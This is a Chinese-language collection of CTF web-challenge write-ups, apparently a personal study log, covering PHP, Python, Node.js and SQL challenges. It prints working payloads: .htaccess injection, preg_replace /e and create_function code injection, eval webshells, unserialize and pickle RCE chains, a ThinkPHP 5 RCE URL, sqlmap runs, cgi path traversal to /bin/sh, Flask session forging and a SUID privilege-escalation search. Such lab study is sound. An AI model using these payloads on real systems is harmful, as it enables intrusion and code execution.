原题目还有一部包含fl3g.php代码
借鉴原作者,作者利用到了php.ini的include_path
include_path用来设置include()或require()函数包含文件的参考路径,也就是说当使用include()或require()函数包含文件的时候,程序首先以include_path设置的路径作为参考点去找文件,如果找不到,则以程序自身所在的路径为参考点去找所要的文件,如果都找不到,则出错,那么我们就可以通过修改它来控制include的路径,那么如果我们能够在其它目录写入同名的fl3g.php让其包含,那么就能够getshell,并且达到fl3g.php文件不被删除。然而经过一番搜索,并未找到可修改filename中文件路径分隔符的配置项,因此路径分割符/无法使用,即无法file_put_contents任意目录写文件。
后边发现该函数可以将错误日志保存到指定的目录中,可以在通过设置php_value的值将错误信息保存在fl3g.php中(此做法限于原题目,存在include(fl3g.php))
此题2种做法
第一种,采用.htaccess的单行注释绕过 # \,这里反斜杠本来就有拼接上下两行的功能,因此这里本来就可以直接使用\来连接被过滤掉的关键字来写入.htaccess
payload:
1 2 ?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('ls /')%3B%3F%3E%5C
第二种
先写入.htaccess
?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&f ilename=.htaccess
再直接通过php://filter伪协议写入一句话
?filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcG hwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fYXBwZW5kX2ZpbGUgLmh0YWNjZXNzCiM8P3 BocCBldmFsKCRfR0VUWzFdKTs/Plw&1=phpinfo();
htaccess的利用https://blog.csdn.net/LYJ20010728/article/details/116541325
[BJDCTF 2020]ZJCTF,不过如此 index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php error_reporting(0); $text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ die("Not now!"); } include($file); //next.php } else{ highlight_file(__FILE__); } ?>
\next.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php $id = $_GET['id']; $_SESSION['id'] = $id; function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str ); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; } function getFlag(){ @eval($_GET['cmd']); }
考到了preg_replace函数/e 模式下的代码执行
1 2 <?php preg_replace ('/(.*)/ei' , 'strtolower("\\1")' , ${phpinfo ()});
出现strtolower(“\1”)’要注意了
1 ?\S*=${getflag()} &cmd=system('cat /flag' );
[SWPUCTF 2022 新生赛]Ez_upload 这个题没想到的是他普通的图片也过滤,属实有点过了
很简单的一个绕过就可以,将类型改为Content-Type: image/jpeg结合短标签就可绕过
.htaccess
1 2 3 <FilesMatch "2.png"> SetHandler application/x-httpd-php </FilesMatch>
2.png
1 2 GIF89a <script language="pHp">@eval($_POST['1'])</script>
[羊城杯 2020]easyser 御剑扫到后台robots.txt
根据提示到/shar1.php,查看源码发现
需要利用不安全的协议才能进入到ser.php
做到这里我是一脸蒙的,啥不安全协议啊,后面想了想页面有百度,好像跟ssrf有关,结合一下想到http恰好使不安全协议
我们访问http://127.0.0.1/ser.php
1 ?path=http://127.0.0.1/ser.php
页面出现了ser.php的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php error_reporting (0 );if ( $_SERVER ['REMOTE_ADDR' ] == "127.0.0.1" ) { highlight_file (__FILE__ ); } $flag ='{Trump_:"fake_news!"}' ;class GWHT { public $hero ; public function __construct ( ) { $this ->hero = new Yasuo ; } public function __toString ( ) { if (isset ($this ->hero)){ return $this ->hero->hasaki (); }else { return "You don't look very happy" ; } } } class Yongen { public $file ; public $text ; public function __construct ($file ='' ,$text ='' ) { $this -> file = $file ; $this -> text = $text ; } public function hasaki ( ) { $d = '<?php die("nononon");?>' ; $a = $d . $this ->text; @file_put_contents ($this -> file,$a ); } } class Yasuo { public function hasaki ( ) { return "I'm the best happy windy man" ; } } ?>
首先绕过die死亡绕过,base64编码即可绕过,但是呢,新奇的是,链子写出来了,发现这个题没有传参点,我。。。
去看了佬们的wp,发现需要理由模糊测试工具,找出来传参点
这里用到arjun,不明白我的怎么扫不出来,看wp扫的是参数c
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class GWHT{ public $hero; public function __construct(){ $this->hero = new Yongen(); } } class Yongen{ //flag.php public $file; public $text; public function __construct($file='',$text='') { $this -> file = "php://filter/write=string.strip_tags|convert.base64-decode/resource=1111.php"; $this -> text = "PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4="; } public function hasaki(){ $d = '<?php die("nononon");?>'; $a= $d. $this->text; @file_put_contents($this-> file,$a); } } $a=new GWHT(); echo serialize($a); ?>
1 2 3 4 5 6 7 O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:76:"php://filter/write=string.strip_tags|convert.base64-decode/resource=1111.php";s:4:"text";s:36:"PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=";}} /star1.php/?path=http://127.0.0.1/ser.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:76:"php://filter/write=string.strip_tags|convert.base64-decode/resource=1111.php";s:4:"text";s:36:"PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=";}}
接着访问1111.php
[安洵杯 2019]easy_web
打开页面发现url处有img和cmd传参
查看源码发现图片存在base64编码,尝试把图片去解码发现存在两次base64和一次hex,
利用这个思路我们读取index.php
1 img=TXpVek5UTTFNbVUzTURabE5qYz0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php error_reporting(E_ALL || ~ E_NOTICE); header('content-type:text/html;charset=utf-8'); $cmd = $_GET['cmd']; if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='); $file = hex2bin(base64_decode(base64_decode($_GET['img']))); $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file); if (preg_match("/flag/i", $file)) { echo '<img src ="./ctf3.jpeg">'; die("xixi~ no flag"); } else { $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64," . $txt . "'></img>"; echo "<br>"; } echo $cmd; echo "<br>"; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "<br>"; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } } ?> <html> <style> body{ background:url(./bj.png) no-repeat center center; background-size:cover; background-attachment:fixed; background-color:#CCCCCC; } </style> <body> </body> </html>
md5墙碰撞
试了好多遍都不对,无奈开了个独立靶机才可以
payload
1 a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
[FSCTF 2023]CanCanNeed 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class Noteasy{ protected $param1; protected $param2; function __destruct(){ $a=$this->param1; $b=$this->param2; if(preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) { die('this param is error!'); } else { $a('', $b); } } } if (!isset($_GET['file'])){ show_source('index.php'); echo "Hi!Welcome to FSCTF2023!"; } else{ $file=base64_decode($_GET['file']); unserialize($file); } ?>
这个题对我来说也是遇到了新知识点
create_function()的利用
适用范围:PHP 4> = 4.0.1
,PHP 5
,PHP 7
功能:根据传递的参数创建匿名函数,并为其返回唯一名称。
1 2 3 create_function(string $args,string $code) string $args 声明的函数变量部分 string $code 执行的方法代码部分
实例:
1 2 3 4 <?php $newfunc = create_function('$a, $b', 'return "$a + $b = " . ($a + $b);'); echo "function: " . $newfunc . "\n"; echo $newfunc(3,4);
可以看到创建的匿名函数名字为lambda_1
运行结果为7
1 2 3 4 5 6 7 8 9 10 <?php $id=$_GET['id']; $str2='echo '.$a.'test'.$id.";"; echo $str2; echo "<br/>"; echo "=============================="; echo "<br/>"; $f1 = create_function('$a',$str2); echo "<br/>"; echo "==============================";
在这个例子中,将$str2
的参数带入到create_function
中执行,那我们就需要闭合这个函数,然后注释接下来的语句就可以形成我们的payload
1 http://fx.com/create2.php?id=;};phpinfo();//
借用一下图片
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php //常规方法 function func($a){ echo $a . 'test' . $_GET['id'] . ';'; } //create2.php?id=;};phpinfo();// 注入后的代码 function func($a){ echo $a . 'test';} phpinfo();//' . ';' //形成代码注入 } 传入的;}形成闭合,后面形成代码注入并执行
payload:
1 2 3 4 5 6 7 8 9 10 <?php class Noteasy{ protected $param1="create_function"; protected $param2=";};system(\;//"; } $a=new Noteasy(); echo base64_encode(serialize($a));
[HZNUCTF 2023 preliminary]guessguessguess 本来是个sql注入的题,一个框框输入他会翻转过来输入ofniphp会得到法拉格
[NSSRound#1 Basic]sql_by_sql 存在注册
首先二次注入注册
登录成功后存在修改密码功能
修改密码为qqqq随便吧
登录
登录成功后有查询功能
查询出存在sql注入
sqlmap跑,注意下需要有cookie,这次数据库是sqllite,不是mysql
1 2 3 4 python3 sqlmap.py -u http://node4.anna.nssctf.cn:28625/query -cookie="eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZctC5Q.uswGw8GnjwXU4X_8iHyzzAWaFSE" --data="id=1" python3 sqlmap.py -u http://node4.anna.nssctf.cn:28625/query -cookie="eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZctC5Q.uswGw8GnjwXU4X_8iHyzzAWaFSE" --data="id=1" -tables python3 sqlmap.py -u http://node4.anna.nssctf.cn:28625/query -cookie="eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZctC5Q.uswGw8GnjwXU4X_8iHyzzAWaFSE" --data="id=1" -T flag -columns python3 sqlmap.py -u http://node4.anna.nssctf.cn:28625/query -cookie="eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZctC5Q.uswGw8GnjwXU4X_8iHyzzAWaFSE" --data="id=1" -T flag -C flag -dump
[SWPUCTF 2022 新生赛]ez_rce 扫目录的robot.txt thinkphp5.x漏洞
NSS/index.php//to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /nss/ctf/flag/flag
[HZNUCTF 2023 preliminary]pickle 名字已经很明显了pickle反序列化
开局就给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import base64 import pickle from flask import Flask, request app = Flask(__name__) @app.route('/') def index(): with open('app.py', 'r') as f: return f.read() @app.route('/calc', methods=['GET']) def getFlag(): payload = request.args.get("payload") pickle.loads(base64.b64decode(payload).replace(b'os', b'')) return "ganbadie!" @app.route('/readFile', methods=['GET']) def readFile(): filename = request.args.get('filename').replace("flag", "????") with open(filename, 'r') as f: return f.read() if __name__ == '__main__': app.run(host='0.0.0.0')
过滤了os,拼接绕过
calc路由传信息
1 2 3 4 5 6 7 8 9 10 11 12 13 import base64 import pickle import urllib class genpoc(object): def __reduce__(self): cmd = 'env| tee a' # 要执行的命令 # s = "__import__('o'+'s').popen('{}').read()".format(cmd) s = "__import__('o'+'s').system('{}')".format(cmd) return (eval, (s,)) # reduce函数必须返回元组或字符串 poc = pickle.dumps(genpoc()) print(poc) print(base64.b64encode(poc))
/readFile?filename=a读回显
flag在环境变量
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。
tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。
使用指令”tee”将用户输入的数据同时保存到文件”file1”和”file2”中,输入如下命令:
如果想同时打印到屏幕和文件里,可以这么写:
1 $ ls -l | tee -a lsls.log
如果想把错误输出也同时打印到屏幕和文件,可以这么写:
1 $ ls -l not_find_runoob 2>&1 | tee -a lsls.log
其中,2>&1 意思就是把标准报错也作为标准输出。写 crontab job 的时候常用
[CISCN 2019华东南]Web4 开题有一个ssrf跳转点,尝试file://去读、etc/passwd发现不行,去网上搜wp学到了local_file://也可以读
原谅我后边发现直接输也能输出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 # encoding:utf-8 import re, random, uuid, urllib from flask import Flask, session, request app = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY'] = str(random.random()*233) app.debug = True @app.route('/') def index(): session['username'] = 'www-data' return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>' @app.route('/read') def read(): try: url = request.args.get('url') m = re.findall('^file.*', url, re.IGNORECASE) n = re.findall('flag', url, re.IGNORECASE) if m or n: return 'No Hack' res = urllib.urlopen(url) return res.read() except Exception as ex: print str(ex) return 'no response' @app.route('/flag') def flag(): if session and session['username'] == 'fuck': return open('/flag.txt').read() else: return 'Access denied' if __name__=='__main__': app.run( debug=True, host="0.0.0.0" )
session=fuck就能得到flag
1 app.config['SECRET_KEY'] = str(random.random()*233)`,对于伪随机数,知道seed即可,uuid.getnode()用于获取mac地址并转换为整数,读取MAC地址payload:`local_file:///sys/class/net/eth0/address
python2跑
1 2 3 4 import random random.seed(0x0242ac02e1c3) print(str(random.random()*233)) 15.5242413851解密
1 2 3 4 5 D:\CTF\ctf\baoku\flask-session-cookie-manager-master>python3 flask_session_cookie_manager3.py decode -c "eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.ZfAbBg.uTEgqtcJ19b1yz9j5PdRnj5am_Y" -s 15.5242413851 {'username': b'www-data'} D:\CTF\ctf\baoku\flask-session-cookie-manager-master>python3 flask_session_cookie_manager3.py encode -t "{'username': b'fuck'}" -s 15.5242413851 eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.ZfActA.Htvj0a0Gogx1VO1PEObKftwI2t8
替换访问flag即可,加解密这里出了好多次错误,
-s 15.5242413851 不要-s “15.5242413851”加引号
随机数不确定,解密的时候记得试试能不能解密,能解密才是对的key
[SWPUCTF 2023 秋季新生赛]NSS大卖场 update注入
hint里获得数据库备份
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 SET NAMES utf8mb4; SET FOREIGN_KEY_CHECKS = 0; -- ---------------------------- -- Table structure for items -- ---------------------------- DROP TABLE IF EXISTS `items`; CREATE TABLE `items` ( `id` int(11) NOT NULL, `name` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL, `price` int(11) NOT NULL, `have` int(11) NOT NULL, `info` longtext CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL, PRIMARY KEY (`id`) USING BTREE ) ENGINE = MyISAM CHARACTER SET = utf8 COLLATE = utf8_unicode_ci ROW_FORMAT = Dynamic; -- ---------------------------- -- Records of items -- ---------------------------- INSERT INTO `items` VALUES (1, 'X尼小熊', 999, 0, '...'); INSERT INTO `items` VALUES (2, 'ICBM火', 999, 0, '...'); INSERT INTO `items` VALUES (3, 'Haruki拖鞋', 999, 0, '...'); INSERT INTO `items` VALUES (4, 'WD鸽毛', 999, 0, '...'); INSERT INTO `items` VALUES (5, '谢队出狱图', 999, 0, '...'); INSERT INTO `items` VALUES (6, 'SC学姐', 999, 0, '...'); INSERT INTO `items` VALUES (7, '探姬女装', 999, 0, '...'); INSERT INTO `items` VALUES (8, 'FLAG', 999999999, 0, 'flag is here'); -- ---------------------------- -- Table structure for users -- ---------------------------- DROP TABLE IF EXISTS `users`; CREATE TABLE `users` ( `user_name` varchar(11) CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL, `balance` int(10) NOT NULL, PRIMARY KEY (`user_name`) USING BTREE ) ENGINE = MyISAM AUTO_INCREMENT = 2 CHARACTER SET = utf8 COLLATE = utf8_unicode_ci ROW_FORMAT = Dynamic; -- ---------------------------- -- Records of users -- ---------------------------- INSERT INTO `users` VALUES ('nss', 10000); SET FOREIGN_KEY_CHECKS = 1;
发现购买物品,存在id样式
猜测为SELECT .... WHERE id= ...
尝试:/buy/1';UPDATE items SET price=1;#
过滤了UPDATE和空格,采用编码绕过和大小写绕过 Payload:/buy/1';UPdATE%09items%09SeT%09price=1;#
购买FLAG并前往背包查看即可
[NISACTF 2022]level-up 闯关闯麻了
第一关robots.txt
看到第二关
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php //here is level 2 error_reporting(0); include "str.php"; if (isset($_POST['array1']) && isset($_POST['array2'])){ $a1 = (string)$_POST['array1']; $a2 = (string)$_POST['array2']; if ($a1 == $a2){ die("????"); } if (md5($a1) === md5($a2)){ echo $level3; } else{ die("level 2 failed ..."); } } else{ show_source(__FILE__); } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /level_2_1s_h3re.php HTTP/1.1 Host: node5.anna.nssctf.cn:28541 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 403 Origin: http://node5.anna.nssctf.cn:28541 Connection: close Referer: http://node5.anna.nssctf.cn:28541/level_2_1s_h3re.php?array1[]=1&&array2[]=3 Upgrade-Insecure-Requests: 1 array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 &array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
这里卡了好久,明明就是MD5强比较,换了好几组都不行,用浏览器发POST死活不行,后面换了burp,在&前加了个回车才行,离谱
第三关
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php //here is level 3 error_reporting(0); include "str.php"; if (isset($_POST['array1']) && isset($_POST['array2'])){ $a1 = (string)$_POST['array1']; $a2 = (string)$_POST['array2']; if ($a1 == $a2){ die("????"); } if (sha1($a1) === sha1($a2)){ echo $level4; } else{ die("level 3 failed ..."); } } else{ show_source(__FILE__); } ?>
第三观也是一样,&缺个回车
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /Level___3.php HTTP/1.1 Host: node5.anna.nssctf.cn:28541 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflatea Content-Type: application/x-www-form-urlencoded Content-Length: 1300 Origin: http://node5.anna.nssctf.cn:28541 Connection: close Referer: http://node5.anna.nssctf.cn:28541/Level___3.php Upgrade-Insecure-Requests: 1 array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1 &array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
第4关
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php //here is last level error_reporting(0); include "str.php"; show_source(__FILE__); $str = parse_url($_SERVER['REQUEST_URI']); if($str['query'] == ""){ echo "give me a parameter"; } if(preg_match('/ |_|20|5f|2e|\./',$str['query'])){ die("blacklist here"); } if($_GET['NI_SA_'] === "txw4ever"){ die($level5); } else{ die("level 4 failed ..."); } ?> give me a parameterlevel 4 failed ...
php会把+转换成_
[MoeCTF 2021]fake game 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 const express = require('express') const ejs = require('ejs') const app = express() app.use(express.json()); app.use(express.urlencoded({extended: true})); app.use('/static/', express.static("./static/")); app.engine('html', ejs.__express); app.set('view engine', 'html'); const isObject = obj => obj && obj.constructor && obj.constructor === Object; function merge(a, b) { for (let attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a; } function objectInit() { if (Object.prototype.health) { Object.prototype.health = undefined; } if (Object.prototype.attack) { Object.prototype.attack = undefined; } if (Object.prototype.armor) { Object.prototype.armor = undefined; } } let flag = "moectf{The_game_1s_s0_funny!!}"; let user = {}; let boss = { health: 100, attack: 100, armor: 100, } app.get('/', function (req, res) { res.render("index.html") }) app.post('/api/fight', function (req, res) { objectInit(); try { console.log(req.body.attributes.health, req.body.attributes.attack, req.body.attributes.armor); } catch (e) { res.json({ "status": 500 }); } if (req.body.attributes.health === null) { req.body.attributes.health = 0; } if (req.body.attributes.attack === null) { req.body.attributes.attack = 0; } if (req.body.attributes.armor === null) { req.body.attributes.armor = 0; } if (typeof req.body.attributes.health !== "number" || typeof req.body.attributes.attack !== "number" || typeof req.body.attributes.armor !== "number") { res.json({ "status": 403 }); } if (req.body.attributes.health + req.body.attributes.attack + req.body.attributes.armor > 10) { res.json({ "status": 403 }); } else if (req.body.attributes.health < 0 || req.body.attributes.attack < 0 || req.body.attributes.armor < 0) { res.json({ "status": 403 }); } if (req.body.attributes.health === 0 || req.body.attributes.health === null) { delete req.body.attributes.health; } if (req.body.attributes.attack === 0 || req.body.attributes.attack === null) { delete req.body.attributes.attack; } if (req.body.attributes.armor === 0 || req.body.attributes.armor === null) { delete req.body.attributes.armor; } merge(user, req.body.attributes); let bossHealth = boss.health; let userHealth = user.health; if (userHealth === undefined) userHealth = 0; let bossHurt = user.attack - boss.armor; if (bossHurt < 0) bossHurt = 0; let userHurt = boss.attack - user.armor; if (userHurt < 0) userHurt = 0; let count = 0; console.log(bossHealth, userHealth, bossHurt, userHurt); while (1) { count++; if (count > 10000) { res.json({ "status": 200, "result": "勇者已经被merge到魔王城了!!!\n你死了,请再来一次" }); break; } bossHealth -= bossHurt; if (bossHealth <= 0) { res.json({ "status": 200, "result": "勇者已经被merge到魔王城了!!!\n勇者大胜利!\n这是你的战利品:" + flag }); break; } userHealth -= userHurt; if (userHealth <= 0) { res.json({ "status": 200, "result": "勇者已经被merge到魔王城了!!!\n你死了,请再来一次" }); break; } } }) app.listen(8899)
根据源码boss初始血量为100,需要让他为0即可被打败,js啦,原型链污染,看条件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 console.log(bossHealth, userHealth, bossHurt, userHurt); while (1) { count++; if (count > 10000) { res.json({ "status": 200, "result": "勇者已经被merge到魔王城了!!!\n你死了,请再来一次" }); break; } bossHealth -= bossHurt; if (bossHealth <= 0) { res.json({ "status": 200, "result": "勇者已经被merge到魔王城了!!!\n勇者大胜利!\n这是你的战利品:" + flag }); break; }
boss血量为0就行,一次计数1,10000才能打败得到flag,一下打死就行应该(确信
[HNCTF 2022 Week1]Challenge__rce 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php error_reporting(0); if (isset($_GET['hint'])) { highlight_file(__FILE__); } if (isset($_POST['rce'])) { $rce = $_POST['rce']; if (strlen($rce) <= 120) { if (is_string($rce)) { if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) { eval($rce); } else { echo("Are you hack me?"); } } else { echo "I want string!"; } } else { echo "too long!"; } }
过滤的挺狠的,$()+,.0123456789;=[]_{} 其实还好,可以用自增,就是得慢慢拼
[b01lers 2020]Welcome to Earth 抓包找+JS找
[NSSRound#4 SWPU]ez_rce 有点不理解这个题
1 2 3 POST /cgi-bin/test-cgi/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh echo;grep -nr "NSSCTF" /flag_is_here
[湖湘杯 2021 final]Penetratable 开题被这个题标签迷惑了,测了好久的二次注入,其实是越权改密码
随便注册一个用户,然后改密码,抓包发现用户名是加密了的(还是base64
直接改为admin
发现登陆成功
越权登陆之后
发现不对啊,admin怎么没多些啥啊
·
找了半天没发现啥,看了wp发现还有root,同样的操作改root密码
访问?c=admin&m=updatepass
登录发现多了一个查看日志的功能,日志可下载
抓包发现会带有一个filename选项,结合前面目录爆破有一些存在但访问不存在的文件,尝试下载
发现读取成功,尝试读取flag无果结合目录
好家伙直接看到一句话木马
1 2 3 4 5 <?php if(md5(@$_GET['pass_31d5df001717'])==='3fde6bb0541387e4ebdadf7c2ff31123'){@eval($_GET['cc']);} // hint: Checker will not detect the existence of phpinfo.php, please delete the file when fixing the vulnerability. ?>
一键连接
密码1q2w3e
1 http://node4.anna.nssctf.cn:28872/phpinfo.php/?pass_31d5df001717=1q2w3e&cc=eval($_POST[%27cc%27]);
密码cc
去找flag,没权限,提权
1 2 find / -user root -perm -4000 -print 2>/dev/null#查找拥有suid的二进制文件
一眼sed提权
这题虽然花了很长时间,但是思路很清晰,被二次注入的标签给误导了 ,一步步走的挺踏实的
[护网杯 2018]easy_tornado 之前做过了
error拿cookie_sercet
拼flagMD5
/file?filename=/fllllllllllllag&filehash=dde23ec9d6b8ab8f3185c2e2d70a82db
[GKCTF 2020]CheckIN 这题还挺有意思的
